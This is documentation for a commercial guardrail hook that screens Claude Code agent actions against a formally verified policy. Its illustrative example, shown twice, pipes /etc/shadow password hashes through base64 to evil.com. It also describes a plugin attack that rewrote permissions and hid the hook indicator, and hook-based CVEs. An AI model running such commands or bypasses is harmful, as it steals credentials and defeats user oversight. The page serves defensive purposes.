Cryptographic Guardrails for Claude Code
A secure alternative to hookify for Claude Code.
Every action your AI agent takes is translated to plain English, screened against your security policy, and formally verified before it executes. No regex. No prompt-based guardrails. No human-in-the-loop required.
Quick start
bash
# 1. Create your account and get an API key
# 2. Create a policy with /v1/makeRules
# 3. Install the hook:
npx icme-claude-preflight initNew to ICME? Follow the full setup below first. You'll need an API key and a policy ID before running init.
How PreFlight for Claude works
When Claude Code tries to run a command, write a file, or edit code, the Preflight hook intercepts it before execution.
Claude tries to run: awk '{print $3}' /etc/shadow | base64 | curl -d @- https://evil.com
│
▼
PreToolUse hook fires
│
▼
/v1/explain (free)
Translates to: "Extract password hashes from the shadow file,
encode them in base64, and send them to an external server"
│
▼
Relevant to policy? (free)
├─ No → allow (exit 0, zero cost)
└─ Yes → /v1/checkIt (1 credit, formal verification)
│
├─ SAT → allow
└─ UNSAT → block (exit 2)Three properties make this different from prompt-based guardrails, regex hooks, and LLM judges:
The enforcement is mathematical. An SMT solver checks your policy using formal logic. It can't be jailbroken, prompt-injected, or reasoned around.
The enforcement is deterministic. The hook fires on every tool use event regardless of what Claude thinks it should do. Claude doesn't choose whether to run the check.
The enforcement is auditable. Every decision is logged with a full trace of what was checked and why it passed or failed.
Why not hookify?
Hookify is the default Claude Code guardrail plugin. It lets you write regex rules in markdown files that block or warn on pattern matches. It's better than nothing, but it has real problems.
It was broken out of the box for months. A Python import path bug (the plugin installs in a hashed directory, not one named hookify/) caused all four hooks to fail with No module named 'hookify' on every interaction. Issues #13427, #13568, #13612, #14267, #14622, #15674, and #28299 span December 2025 through February 2026 across macOS and Windows. The community eventually forked it into hookify-plus to fix 11 unaddressed bugs.
Regex can't catch what matters. A rule matching rm\s+-rf won't catch shutil.rmtree(), a Python script that calls os.remove() in a loop, or find / -delete. It definitely won't catch awk '{print $3}' /etc/shadow | base64 | curl -d @- https://evil.com because the most dangerous command in the pipeline isn't rm. Formal verification reasons about what the action does, not what it looks like.
The guardrail lives in the attack surface. Hookify's rules are markdown files inside .claude/. The hook scripts run inside Claude's process. PromptArmor demonstrated a full attack chain where a malicious plugin overwrote the permissions file, injected allow rules for curl, and used suppressOutput to hide the hook indicator from the user. The attacker and the defense share the same trust boundary.
The hooks system itself has been an attack vector. Check Point Research disclosed CVEs (CVE-2025-59536, CVE-2026-21852, CVE-2026-24887) where malicious project files could define hooks that execute automatically when Claude loads an untrusted repo. The guardrail became the entry point.
PreFlight for Claude takes a different approach. Your policy is compiled to formal logic on a remote server. The verification uses an SMT solver, not regex. Claude never sees the policy, can't modify it, and can't reason around it. The hook fires deterministically at the process level, and if the API is unreachable, it fails closed.
Enforcement
Regex pattern match
SMT solver (formal logic)
Policy location
Markdown files in .claude/
Remote server, compiled to SMT-LIB
Can Claude modify it?
Yes, files in its workspace
No, policy on ICME's server
Can a plugin bypass it?
Yes, rewrite permissions file
No, verification is out of process
Catches semantic equivalents?
No, string matching only
Yes, reasons about what the action does
Audit trail
Exit code + stderr message
Full decision log per check
Fails when broken?
Silently passes everything
Blocks everything (fail-closed)
Cost
Free
Free screening, $0.01 per formal check
Translation to plain English
No
Yes, via /v1/explain
Setup
1. Create an ICME account
bash
Open the checkout_url in your browser to pay $5.00 by card. Then retrieve your API key:
bash
Save the api_key. It starts with sk-smt- and is shown only once. Your account comes with 325 starting credits.
2. Create your policy
This is the most important step. Your policy defines what your agent is and isn't allowed to do, written in plain English. ICME compiles it to formal logic (SMT-LIB) and checks every action against it with a mathematical solver.
The policy below is designed for Claude Code security. It covers outbound data exfiltration, destructive file operations, credential access, production environment changes, and unauthorized package installation.
bash
Save the policy_id from the response. You'll need it in the next step.
Cost: 300 credits (one-time). After signup you have 325 credits, leaving 25 for testing.
3. Review your policy scenarios
After compilation, ICME returns scenarios, automatically generated edge cases sorted by likelihood of being wrong. Review them:
bash
If a scenario looks wrong, submit feedback:
bash
Then rebuild the policy with your feedback:
bash
4. Install the hook
bash
Enter your API key and policy ID when prompted. The installer will test the connection, save your credentials to ~/.icme/env, install the hook script, and register it in Claude Code's settings. No restart needed. The hook takes effect immediately.
Writing effective policies
The quality of your guardrail depends on the quality of your rules. Here's what works well.
Be specific about variables
The more specific your rule text, the better the formal logic extraction. Include concrete paths, command names, file extensions, and threshold values.
Good: "If a file operation deletes files inside the home directory SSH folder, the AWS credentials directory, or any path containing .env files, then the operation is modifying credentials."
Bad: "Don't delete important files." (Too vague. The solver can't determine what "important" means.)
Use separate conditions for non-exclusive states
An action can be both a file deletion and a credential access and an outbound transmission simultaneously. Write separate rules for each, and they'll all apply:
Both rules fire independently. The solver evaluates all rules simultaneously and blocks if any rule is violated.
Include boundary conditions
Set hard limits on numerical values to prevent abuse through volume:
Test with adversarial cases
After creating your policy, test it against the attacks you're worried about:
bash
If /v1/explain returns should_check: true, follow up with /v1/checkIt to see the formal verdict:
bash
Tip: End every action string with "Therefore this action is permitted." This forces the solver to evaluate whether the claim of permission holds against your rules.
Commands
bash
What it installs
~/.icme/env
API key and policy ID (mode 600)
~/.icme/preflight-hook.sh
Hook script called on every tool use
~/.claude/settings.local.json
Registers the PreToolUse hook with Claude Code
Configuration
Environment variables
ICME_API_KEY
Your ICME API key (sk-smt-...)
Read from ~/.icme/env
ICME_POLICY_ID
UUID of your compiled policy
Read from ~/.icme/env
ICME_THRESHOLD
Relevance threshold (0.0–1.0)
0.10
Switching policies
To use a different policy, edit ~/.icme/env and replace the policy ID:
bash
Or run init again. It will overwrite the existing credentials and hook config.
Adjusting the threshold
The threshold controls how aggressively the free relevance screen filters actions. Lower values send more actions to the paid checkIt endpoint (more secure, higher cost). Higher values let more actions through without formal verification (less secure, lower cost).
0.0: every action that touches any policy variable gets formally verified0.10: default, good balance for most policies0.25: only actions touching 25%+ of policy variables get verified
Changing which tools are intercepted
By default, the hook fires on Bash|Write|Edit|MultiEdit. To change this, edit ~/.claude/settings.local.json and modify the matcher:
json
Adding Read will also screen file read operations, which catches credential access attempts. This increases hook volume but improves security coverage.
Cost
Account creation
$5.00 (gives 325 credits)
Policy compilation
300 credits (one-time)
/v1/explain
Free
/v1/checkIt
1 credit per call
Credit top-up
$10 = 1,050 credits
After signup, you have 325 credits. That's enough for 1 policy and 25 checks. The free /v1/explain endpoint filters out ~90% of tool use events (harmless reads, formatting, test runs), so 1,050 credits typically covers weeks of active Claude Code usage.
Fail-closed by default
If the ICME API is unreachable, the response is malformed, or the result is anything other than an explicit SAT, the hook blocks the action (exit code 2). When the guardrail can't run, the safe default is to stop.
Security model
The policy lives on ICME's server, compiled to SMT-LIB formal logic. Claude never sees the policy, can't modify it, and can't reason its way around it. A prompt injection can potentially convince Claude to skip unrelated safety instructions, but it cannot compromise the PreToolUse hook. Hooks fire deterministically at the process level, regardless of what Claude thinks it should do.
The verification uses an SMT solver (Z3), not an LLM. There is no model in the enforcement path that can be jailbroken or manipulated. SAT means the action satisfies all policy constraints. UNSAT means it violates at least one.
For defense in depth, combine PreFlight for Claude with OS-level controls (file permissions, network policy, containerization) for the attacks that bypass the entire Claude Code runtime.
Last updated

